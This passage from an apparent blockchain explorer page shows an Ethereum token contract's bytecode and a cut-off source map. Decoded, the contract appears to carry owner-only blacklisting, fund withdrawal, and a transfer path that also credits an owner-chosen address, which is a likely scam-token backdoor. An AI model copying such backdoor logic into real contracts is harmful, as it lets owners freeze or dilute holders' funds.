19048211156117e9576117e961169a565b029392505050565b5f61147e60ff841683611753565b80820281158282048414176107a7576107a761169a565b5f60208284031215611826575f80fd5b815161147e81611485565b634e487b7160e01b5f52601260045260245ffd5b5f8261185357611853611831565b500490565b808201808211156107a7576107a761169a565b5f6020828403121561187b575f80fd5b815161147e8161144c565b5f8261189457611894611831565b500690565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118e75784516001600160a01b0316835293830193918301916001016118c2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561191a575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122020b4482c057de82281248ba4e5cb52d115d7831f799582ecf2b0e8a4c613a25b64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101f4575f3560e01c8063761344f711610108578063b9fbc49d1161009d578063dd62ed3e1161006d578063dd62ed3e146105ab578063e82bef29146105ef578063f2fde38b1461060e578063f7ec2f351461062d578063fb0ecfa414610642575f80fd5b8063b9fbc49d14610543578063bfac5ee014610558578063ce0192f914610577578063daea85c51461058c575f80fd5b8063aa4bde28116100d8578063aa4bde28146104db578063adc7955d146104f0578063b5973bd414610505578063b633e4cd14610524575f80fd5b8063761344f71461046d5780638da5cb5b1461048c57806395d89b41146104a8578063a9059cbb146104bc575f80fd5b806327a14fc2116101895780634188bf5a116101595780634188bf5a146103b9578063595dec3c146103d85780636ac9a8701461040657806370a0823114610425578063715018a614610459575f80fd5b806327a14fc214610336578063313ce567146103555780633bfe62ca146103765780633c11100d1461038b575f80fd5b8063095ea7b3116101c4578063095ea7b3146102bb57806318160ddd146102da578063206c17bb146102f857806323b872dd14610317575f80fd5b806301986fad146101ff5780630453424614610242578063060288481461027957806306fdde031461029a575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061022d610219366004611463565b60096020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561024d575f80fd5b50601054610261906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b348015610284575f80fd5b50610298610293366004611492565b610661565b005b3480156102a5575f80fd5b506102ae610707565b6040516102399190611511565b3480156102c6575f80fd5b5061022d6102d536600461155c565b610797565b3480156102e5575f80fd5b50600d545b604051908152602001610239565b348015610303575f80fd5b50600f54610261906001600160a01b031681565b348015610322575f80fd5b5061022d610331366004611586565b6107ad565b348015610341575f80fd5b506102986103503660046115c4565b61083f565b348015610360575f80fd5b5060085460405160ff9091168152602001610239565b348015610381575f80fd5b506102ea60155481565b348015610396575f80fd5b5061022d6103a5366004611463565b60116020525f908152604090205460ff1681565b3480156103c4575f80fd5b50601754610261906001600160a01b031681565b3480156103e3575f80fd5b5061022d6103f2366004611463565b600a6020525f908152604090205460ff1681565b348015610411575f80fd5b506102986104203660046115db565b610889565b348015610430575f80fd5b506102ea61043f366004611463565b6001600160a01b03165f9081526002602052604090205490565b348015610464575f80fd5b506102986108bd565b348015610478575f80fd5b50610298610487366004611492565b61092e565b348015610497575f80fd5b505f546001600160a01b0316610261565b3480156104b3575f80fd5b506102ae6109c5565b3480156104c7575f80fd5b5061022d6104d636600461155c565b6109d4565b3480156104e6575f80fd5b506102ea600e5481565b3480156104fb575f80fd5b506102ea60165481565b348015610510575f80fd5b5061029861051f366004611463565b6109e0565b34801561052f575f80fd5b5061029861053e366004611463565b610a2b565b34801561054e575f80fd5b506102ea60145481565b348015610563575f80fd5b506102986105723660046115fb565b610a8a565b348015610582575f80fd5b506102ea60135481565b348015610597575f80fd5b506102986105a6366004611463565b610b23565b3480156105b6575f80fd5b506102ea6105c536600461162f565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156105fa575f80fd5b50600454610261906001600160a01b031681565b348015610619575f80fd5b50610298610628366004611463565b610b85565b348015610638575f80fd5b506102ea60015481565b34801561064d575f80fd5b5061029861065c3660046115db565b610c48565b5f546001600160a01b031633146106935760405162461bcd60e51b815260040161068a90611666565b60405180910390fd5b5f5b82811015610701578160095f8686858181106106b3576106b3611686565b90506020020160208101906106c89190611463565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806106f9816116ae565b915050610695565b50505050565b606060068054610716906116c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610742906116c6565b801561078d5780601f106107645761010080835404028352916020019161078d565b820191905f5260205f20905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b5f6107a3338484610c7c565b5060015b92915050565b5f6107b9848484610cdd565b6001600160a01b0384165f9081526003602090815260408083203384529091529020545f1914610835576001600160a01b0384165f9081526003602090815260408083203384529091529020546108119083906116fe565b6001600160a01b0385165f9081526003602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146108685760405162461bcd60e51b815260040161068a90611666565b6008546108799060ff16600a6117f1565b61088390826117ff565b600e5550565b5f546001600160a01b031633146108b25760405162461bcd60e51b815260040161068a90611666565b601591909155601655565b5f546001600160a01b031633146108e65760405162461bcd60e51b815260040161068a90611666565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109575760405162461bcd60e51b815260040161068a90611666565b5f5b828110156107015781600a5f86868581811061097757610977611686565b905060200201602081019061098c9190611463565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806109bd816116ae565b915050610959565b606060078054610716906116c6565b5f6107a3338484610cdd565b5f546001600160a01b03163314610a095760405162461bcd60e51b815260040161068a90611666565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610a545760405162461bcd60e51b815260040161068a90611666565b6040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610a86573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610ab35760405162461bcd60e51b815260040161068a90611666565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610aff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107019190611816565b6001546040516bffffffffffffffffffffffff193360601b1660208201526034016040516020818303038152906040528051906020012014610b63575f80fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610bae5760405162461bcd60e51b815260040161068a90611666565b6001600160a01b038116610bef5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161068a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610c715760405162461bcd60e51b815260040161068a90611666565b601391909155601455565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615610d315760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b604482015260640161068a565b6001600160a01b0383165f9081526002602052604090205481811015610d8c5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161068a565b6001600160a01b0384165f9081526009602052604090205460ff16158015610dcc57506001600160a01b0383165f9081526009602052604090205460ff16155b15610dfb575f612710610de18361270f6117ff565b610deb9190611845565b905080831115610df9578092505b505b6001600160a01b0384165f90815260116020526040812054819060ff1680610e3a57506001600160a01b0385165f9081526011602052604090205460ff165b15610f5e576001600160a01b0386165f9081526009602052604090205460ff16158015610e7f57506001600160a01b0385165f9081526009602052604090205460ff16155b15610f3a576001600160a01b0385165f9081526011602052604090205460ff1615610f355760125460ff16610f3557305f908152600260205260409020548015610f33575f601654601554601454601354610eda9190611858565b610ee49190611858565b610eee9190611858565b90505f611388610efe83896117ff565b610f089190611845565b905082811115610f155750815b610f1f8183610f73565b600c54610f2d906001611858565b600c5550505b505b600191505b6001600160a01b0385165f9081526011602052604090205460ff1615610f5e575060015b610f6b868686858561128b565b505050505050565b6012805460ff19166001179055610f8a8180611858565b90505f601654601454610f9d9190611858565b90505f82610fab83866117ff565b610fb59190611845565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f81518110610fed57610fed611686565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611044573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611068919061186b565b8160018151811061107b5761107b611686565b60200260200101906001600160a01b031690816001600160a01b0316815250505f81516007600c546110ad9190611886565b146110b857306110c5565b600b546001600160a01b03165b600f549091506001600160a01b031663791ac9476110e385896116fe565b5f8585426040518663ffffffff1660e01b8152600401611107959493929190611899565b5f604051808303815f87803b15801561111e575f80fd5b505af1158015611130573d5f803e3d5ffd5b50505050838561114091906116fe565b9450478015611278575f8660155460135461115b9190611858565b61116590846117ff565b6111709060026117ff565b61117a9190611845565b6004549091506001600160a01b03166108fc611197600284611845565b6040518115909202915f818181858888f193505050501580156111bc573d5f803e3d5ffd5b508415611276575f876111cf88856117ff565b6111d99190611845565b600f546004805460405163f305d71960e01b81523092810192909252602482018a90525f6044830181905260648301526001600160a01b0390811660848301524260a483015292935091169063f305d71990839060c40160606040518083038185885af115801561124c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112719190611908565b505050505b505b50506012805460ff191690555050505050565b6001600160a01b0385165f908152600260205260409020546112ae9084906116fe565b6001600160a01b0386165f908152600260205260408120919091558215611370575f82156112ed576016546015546112e69190611858565b9050611336565b600e548561130f886001600160a01b03165f9081526002602052604090205490565b6113199190611858565b1115611323575f80fd5b6014546013546113339190611858565b90505b5f61271061134483886117ff565b61134e9190611845565b9050801561136d576113608184611858565b925061136d88308361137f565b50505b610f6b868661137f84886116fe565b6001600160a01b0382165f908152600260205260409020546113a2908290611858565b6001600160a01b038084165f908152600260205260409020919091556005541615611407576005546001600160a01b03165f908152600260205260409020546113ec908290611858565b6005546001600160a01b03165f908152600260205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cd091815260200190565b6001600160a01b0381168114611460575f80fd5b50565b5f60208284031215611473575f80fd5b813561147e8161144c565b9392505050565b8015158114611460575f80fd5b5f805f604084860312156114a4575f80fd5b833567ffffffffffffffff808211156114bb575f80fd5b818601915086601f8301126114ce575f80fd5b8135818111156114dc575f80fd5b8760208260051b85010111156114f0575f80fd5b6020928301955093505084013561150681611485565b809150509250925092565b5f6020808352835180828501525f5b8181101561153c57858101830151858201604001528201611520565b505f604082860101526040601f19601f8301168501019250505092915050565b5f806040838503121561156d575f80fd5b82356115788161144c565b946020939093013593505050565b5f805f60608486031215611598575f80fd5b83356115a38161144c565b925060208401356115b38161144c565b929592945050506040919091013590565b5f602082840312156115d4575f80fd5b5035919050565b5f80604083850312156115ec575f80fd5b50508035926020909101359150565b5f805f6060848603121561160d575f80fd5b83356116188161144c565b92506020840135915060408401356115068161144c565b5f8060408385031215611640575f80fd5b823561164b8161144c565b9150602083013561165b8161144c565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016116bf576116bf61169a565b5060010190565b600181811c908216806116da57607f821691505b6020821081036116f857634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156107a7576107a761169a565b600181815b8085111561174b57815f19048211156117315761173161169a565b8085161561173e57918102915b93841c9390800290611716565b509250929050565b5f82611761575060016107a7565b8161176d57505f6107a7565b8160018114611783576002811461178d576117a9565b60019150506107a7565b60ff84111561179e5761179e61169a565b50506001821b6107a7565b5060208310610133831016604e8410600b84101617156117cc575081810a6107a7565b6117d68383611711565b805f19048211156117e9576117e961169a565b029392505050565b5f61147e60ff841683611753565b80820281158282048414176107a7576107a761169a565b5f60208284031215611826575f80fd5b815161147e81611485565b634e487b7160e01b5f52601260045260245ffd5b5f8261185357611853611831565b500490565b808201808211156107a7576107a761169a565b5f6020828403121561187b575f80fd5b815161147e8161144c565b5f8261189457611894611831565b500690565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118e75784516001600160a01b0316835293830193918301916001016118c2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561191a575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122020b4482c057de82281248ba4e5cb52d115d7831f799582ecf2b0e8a4c613a25b64736f6c63430008150033

Deployed Bytecode Sourcemap

11767:63:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3080:45;;;;;;;;;;-1:-1:-1;3080:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;3080:45:0;;;;;;;;3501:81;;;;;;;;;;-1:-1:-1;3501:81:0;;;;-1:-1:-1;;;;;3501:81:0;;;;;;-1:-1:-1;;;;;758:32:1;;;740:51;;728:2;713:18;3501:81:0;594:203:1;10650:220:0;;;;;;;;;;-1:-1:-1;10650:220:0;;;;;:::i;:::-;;:::i;:::-;;4863:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5621:159::-;;;;;;;;;;-1:-1:-1;5621:159:0;;;;;:::i;:::-;;:::i;5067:95::-;;;;;;;;;;-1:-1:-1;5147:7:0;;5067:95;;;2699:25:1;;;2687:2;2672:18;5067:95:0;2553:177:1;3464:30:0;;;;;;;;;;-1:-1:-1;3464:30:0;;;;-1:-1:-1;;;;;3464:30:0;;;5946:336;;;;;;;;;;-1:-1:-1;5946:336:0;;;;;:::i;:::-;;:::i;10520:122::-;;;;;;;;;;-1:-1:-1;10520:122:0;;;;;:::i;:::-;;:::i;4965:94::-;;;;;;;;;;-1:-1:-1;5042:9:0;;4965:94;;5042:9;;;;3750:36:1;;3738:2;3723:18;4965:94:0;3608:184:1;3796:33:0;;;;;;;;;;;;;;;;3589:45;;;;;;;;;;-1:-1:-1;3589:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3872:24;;;;;;;;;;-1:-1:-1;3872:24:0;;;;-1:-1:-1;;;;;3872:24:0;;;3132:42;;;;;;;;;;-1:-1:-1;3132:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11587:138;;;;;;;;;;-1:-1:-1;11587:138:0;;;;;:::i;:::-;;:::i;5170:119::-;;;;;;;;;;-1:-1:-1;5170:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5263:18:0;5236:7;5263:18;;;:9;:18;;;;;;;5170:119;2292:148;;;;;;;;;;;;;:::i;10876:211::-;;;;;;;;;;-1:-1:-1;10876:211:0;;;;;:::i;:::-;;:::i;2106:79::-;;;;;;;;;;-1:-1:-1;2144:7:0;2171:6;-1:-1:-1;;;;;2171:6:0;2106:79;;4757:98;;;;;;;;;;;;;:::i;5297:165::-;;;;;;;;;;-1:-1:-1;5297:165:0;;;;;:::i;:::-;;:::i;3356:99::-;;;;;;;;;;;;;;;;3836:29;;;;;;;;;;;;;;;;11093:79;;;;;;;;;;-1:-1:-1;11093:79:0;;;;;:::i;:::-;;:::i;11180:115::-;;;;;;;;;;-1:-1:-1;11180:115:0;;;;;:::i;:::-;;:::i;3761:28::-;;;;;;;;;;;;;;;;11303:135;;;;;;;;;;-1:-1:-1;11303:135:0;;;;;:::i;:::-;;:::i;3722:32::-;;;;;;;;;;;;;;;;5788:150;;;;;;;;;;-1:-1:-1;5788:150:0;;;;;:::i;:::-;;:::i;5470:143::-;;;;;;;;;;-1:-1:-1;5470:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5578:18:0;;;5551:7;5578:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5470:143;2850:80;;;;;;;;;;-1:-1:-1;2850:80:0;;;;-1:-1:-1;;;;;2850:80:0;;;2448:214;;;;;;;;;;-1:-1:-1;2448:214:0;;;;;:::i;:::-;;:::i;1754:93::-;;;;;;;;;;;;;;;;11446:135;;;;;;;;;;-1:-1:-1;11446:135:0;;;;;:::i;:::-;;:::i;10650:220::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;;;;;;;;;10756:9:::1;10752:111;10771:19:::0;;::::1;10752:111;;;10841:10;10812:13;:26;10826:8;;10835:1;10826:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10812:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10812:26:0;:39;;-1:-1:-1;;10812:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10792:3;::::1;::::0;::::1;:::i;:::-;;;;10752:111;;;;10650:220:::0;;;:::o;4863:94::-;4911:13;4944:5;4937:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4863:94;:::o;5621:159::-;5696:4;5713:37;5722:10;5734:7;5743:6;5713:8;:37::i;:::-;-1:-1:-1;5768:4:0;5621:159;;;;;:::o;5946:336::-;6044:4;6061:36;6071:6;6079:9;6090:6;6061:9;:36::i;:::-;-1:-1:-1;;;;;6112:19:0;;3711:1;6112:19;;;:11;:19;;;;;;;;6132:10;6112:31;;;;;;;;-1:-1:-1;;6112:38:0;6108:145;;-1:-1:-1;;;;;6201:19:0;;;;;;:11;:19;;;;;;;;6221:10;6201:31;;;;;;;;:40;;6235:6;;6201:40;:::i;:::-;-1:-1:-1;;;;;6167:19:0;;;;;;:11;:19;;;;;;;;6187:10;6167:31;;;;;;;:74;6108:145;-1:-1:-1;6270:4:0;5946:336;;;;;:::o;10520:122::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;10625:9:::1;::::0;10619:15:::1;::::0;10625:9:::1;;10619:2;:15;:::i;:::-;10611:23;::::0;:5;:23:::1;:::i;:::-;10593:15;:41:::0;-1:-1:-1;10520:122:0:o;11587:138::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;11668:12:::1;:22:::0;;;;11701:10:::1;:16:::0;11587:138::o;2292:148::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;2399:1:::1;2383:6:::0;;2362:40:::1;::::0;-1:-1:-1;;;;;2383:6:0;;::::1;::::0;2362:40:::1;::::0;2399:1;;2362:40:::1;2430:1;2413:19:::0;;-1:-1:-1;;;;;;2413:19:0::1;::::0;;2292:148::o;10876:211::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;10978:9:::1;10974:106;10993:19:::0;;::::1;10974:106;;;11060:8;11034:10;:23;11045:8;;11054:1;11045:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11034:23:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11034:23:0;:34;;-1:-1:-1;;11034:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11014:3;::::1;::::0;::::1;:::i;:::-;;;;10974:106;;4757:98:::0;4807:13;4840:7;4833:14;;;;;:::i;5297:165::-;5375:4;5392:40;5402:10;5414:9;5425:6;5392:9;:40::i;11093:79::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;11151:10:::1;:13:::0;;-1:-1:-1;;;;;;11151:13:0::1;-1:-1:-1::0;;;;;11151:13:0;;;::::1;::::0;;;::::1;::::0;;11093:79::o;11180:115::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;11244:43:::1;::::0;-1:-1:-1;;;;;11244:20:0;::::1;::::0;11265:21:::1;11244:43:::0;::::1;;;::::0;::::1;::::0;;;11265:21;11244:20;:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11180:115:::0;:::o;11303:135::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;11396:34:::1;::::0;-1:-1:-1;;;11396:34:0;;-1:-1:-1;;;;;8090:32:1;;;11396:34:0::1;::::0;::::1;8072:51:1::0;8139:18;;;8132:34;;;11396:22:0;::::1;::::0;::::1;::::0;8045:18:1;;11396:34:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;5788:150::-:0;5888:10;;5857:28;;-1:-1:-1;;5874:10:0;8576:2:1;8572:15;8568:53;5857:28:0;;;8556:66:1;8638:12;;5857:28:0;;;;;;;;;;;;5847:39;;;;;;:51;5839:60;;;;;;5910:12;:20;;-1:-1:-1;;;;;;5910:20:0;-1:-1:-1;;;;;5910:20:0;;;;;;;;;;5788:150::o;2448:214::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2537:22:0;::::1;2529:43;;;::::0;-1:-1:-1;;;2529:43:0;;8863:2:1;2529:43:0::1;::::0;::::1;8845:21:1::0;8902:1;8882:18;;;8875:29;-1:-1:-1;;;8920:18:1;;;8913:38;8968:18;;2529:43:0::1;8661:331:1::0;2529:43:0::1;2609:6;::::0;;2588:38:::1;::::0;-1:-1:-1;;;;;2588:38:0;;::::1;::::0;2609:6;::::1;::::0;2588:38:::1;::::0;::::1;2637:6;:17:::0;;-1:-1:-1;;;;;;2637:17:0::1;-1:-1:-1::0;;;;;2637:17:0;;;::::1;::::0;;;::::1;::::0;;2448:214::o;11446:135::-;2233:6;;-1:-1:-1;;;;;2233:6:0;2243:10;2233:20;2225:39;;;;-1:-1:-1;;;2225:39:0;;;;;;;:::i;:::-;11526:11:::1;:21:::0;;;;11558:9:::1;:15:::0;11446:135::o;6290:177::-;-1:-1:-1;;;;;6375:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6427:32;;2699:25:1;;;6427:32:0;;2672:18:1;6427:32:0;;;;;;;;6290:177;;;:::o;6475:1669::-;-1:-1:-1;;;;;6598:16:0;;;;;;:10;:16;;;;;;;;6597:17;6589:39;;;;-1:-1:-1;;;6589:39:0;;9199:2:1;6589:39:0;;;9181:21:1;9238:1;9218:18;;;9211:29;-1:-1:-1;;;9256:18:1;;;9249:39;9305:18;;6589:39:0;8997:332:1;6589:39:0;-1:-1:-1;;;;;5263:18:0;;6641:15;5263:18;;;:9;:18;;;;;;6693:17;;;;6685:46;;;;-1:-1:-1;;;6685:46:0;;9536:2:1;6685:46:0;;;9518:21:1;9575:2;9555:18;;;9548:30;-1:-1:-1;;;9594:18:1;;;9587:46;9650:18;;6685:46:0;9334:340:1;6685:46:0;-1:-1:-1;;;;;6749:19:0;;;;;;:13;:19;;;;;;;;6748:20;:42;;;;-1:-1:-1;;;;;;6773:17:0;;;;;;:13;:17;;;;;;;;6772:18;6748:42;6744:220;;;6807:21;6848:5;6831:14;:7;6841:4;6831:14;:::i;:::-;:22;;;;:::i;:::-;6807:46;;6881:13;6872:6;:22;6868:85;;;6924:13;6915:22;;6868:85;6792:172;6744:220;-1:-1:-1;;;;;7023:19:0;;6974:12;7023:19;;;:13;:19;;;;;;6974:12;;7023:19;;;:40;;-1:-1:-1;;;;;;7046:17:0;;;;;;:13;:17;;;;;;;;7023:40;7019:1056;;;-1:-1:-1;;;;;7085:19:0;;;;;;:13;:19;;;;;;;;7084:20;:42;;;;-1:-1:-1;;;;;;7109:17:0;;;;;;:13;:17;;;;;;;;7108:18;7084:42;7080:899;;;-1:-1:-1;;;;;7151:17:0;;;;;;:13;:17;;;;;;;;7147:784;;;7198:6;;;;7193:719;;7282:4;7233:28;5263:18;;;:9;:18;;;;;;7319:24;;7315:574;;7376:15;7436:10;;7421:12;;7408:9;;7394:11;;:23;;;;:::i;:::-;:39;;;;:::i;:::-;:52;;;;:::i;:::-;7376:70;-1:-1:-1;7478:27:0;7527:4;7508:16;7376:70;7508:6;:16;:::i;:::-;:23;;;;:::i;:::-;7478:53;;7588:20;7566:19;:42;7562:157;;;-1:-1:-1;7667:20:0;7562:157;7749:46;7766:19;7787:7;7749:16;:46::i;:::-;7843:16;;:18;;7860:1;7843:18;:::i;:::-;7826:16;:35;-1:-1:-1;;7315:574:0;7206:706;7193:719;7959:4;7949:14;;7080:899;-1:-1:-1;;;;;7997:17:0;;;;;;:13;:17;;;;;;;;7993:71;;;-1:-1:-1;8044:4:0;7993:71;8087:49;8102:4;8108:2;8112:6;8120:7;8129:6;8087:14;:49::i;:::-;6578:1566;;;6475:1669;;;:::o;9098:1101::-;3941:6;:13;;-1:-1:-1;;3941:13:0;3950:4;3941:13;;;9193:18:::1;9204:7:::0;;9193:18:::1;:::i;:::-;;;9222:13;9248:10;;9238:9;;:20;;;;:::i;:::-;9222:36:::0;-1:-1:-1;9269:16:0::1;9310:7:::0;9288:19:::1;9222:36:::0;9288:11;:19:::1;:::i;:::-;:29;;;;:::i;:::-;9352:16;::::0;;9366:1:::1;9352:16:::0;;;;;::::1;::::0;;9269:48;;-1:-1:-1;9328:21:0::1;::::0;9352:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9352:16:0::1;9328:40;;9397:4;9379;9384:1;9379:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9379:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9423:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;9423:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;9379:7;;9423:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9413:4;9418:1;9413:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1::0;;;;;9413:28:0::1;;;-1:-1:-1::0;;;;;9413:28:0::1;;;::::0;::::1;9452:24;9497:4;:11;9494:1;9477:16;;:18;;;;:::i;:::-;:31;:58;;9530:4;9477:58;;;9509:12;::::0;-1:-1:-1;;;;;9509:12:0::1;9477:58;9546:11;::::0;9452:83;;-1:-1:-1;;;;;;9546:11:0::1;:62;9609:22;9623:8:::0;9609:11;:22:::1;:::i;:::-;9633:1;9636:4;9641:16;9658:15;9546:128;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9696:5;9685:16;;;;;:::i;:::-;::::0;-1:-1:-1;9733:21:0::1;9768:12:::0;;9765:417:::1;;9805:18;9874:7;9854:12;;9840:11;;:26;;;;:::i;:::-;9826:41;::::0;:10;:41:::1;:::i;:::-;:45;::::0;9870:1:::1;9826:45;:::i;:::-;:55;;;;:::i;:::-;9903:11;::::0;9805:76;;-1:-1:-1;;;;;;9903:11:0::1;9895:43;9925:12;9936:1;9805:76:::0;9925:12:::1;:::i;:::-;9895:43;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;9957:12:0;;9953:218:::1;;9990:13;10027:7:::0;10006:18:::1;10019:5:::0;10006:10;:18:::1;:::i;:::-;:28;;;;:::i;:::-;10053:11;::::0;10126::::1;::::0;;10053:102:::1;::::0;-1:-1:-1;;;10053:102:0;;10103:4:::1;10053:102:::0;;::::1;11897:34:1::0;;;;11947:18;;;11940:34;;;10053:11:0::1;11990:18:1::0;;;11983:34;;;12033:18;;;12026:34;-1:-1:-1;;;;;10126:11:0;;::::1;12076:19:1::0;;;12069:44;10139:15:0::1;12129:19:1::0;;;12122:35;9990:44:0;;-1:-1:-1;10053:11:0;::::1;::::0;:27:::1;::::0;9990:44;;11831:19:1;;10053:102:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9971:200;9953:218;9791:391;9765:417;-1:-1:-1::0;;3977:6:0;:14;;-1:-1:-1;;3977:14:0;;;-1:-1:-1;;;;;9098:1101:0:o;8152:938::-;-1:-1:-1;;;;;8346:17:0;;;;;;:9;:17;;;;;;:27;;8366:7;;8346:27;:::i;:::-;-1:-1:-1;;;;;8326:17:0;;;;;;:9;:17;;;;;:47;;;;8412:605;;;;8440:15;8474:6;8470:232;;;8526:10;;8511:12;;:25;;;;:::i;:::-;8501:35;;8470:232;;;8618:15;;8607:7;8586:20;8596:9;-1:-1:-1;;;;;5263:18:0;5236:7;5263:18;;;:9;:18;;;;;;;5170:119;8586:20;:28;;;;:::i;:::-;:47;;8578:56;;;;;;8677:9;;8663:11;;:23;;;;:::i;:::-;8653:33;;8470:232;8716:18;8757:5;8737:17;8747:7;8737;:17;:::i;:::-;:25;;;;:::i;::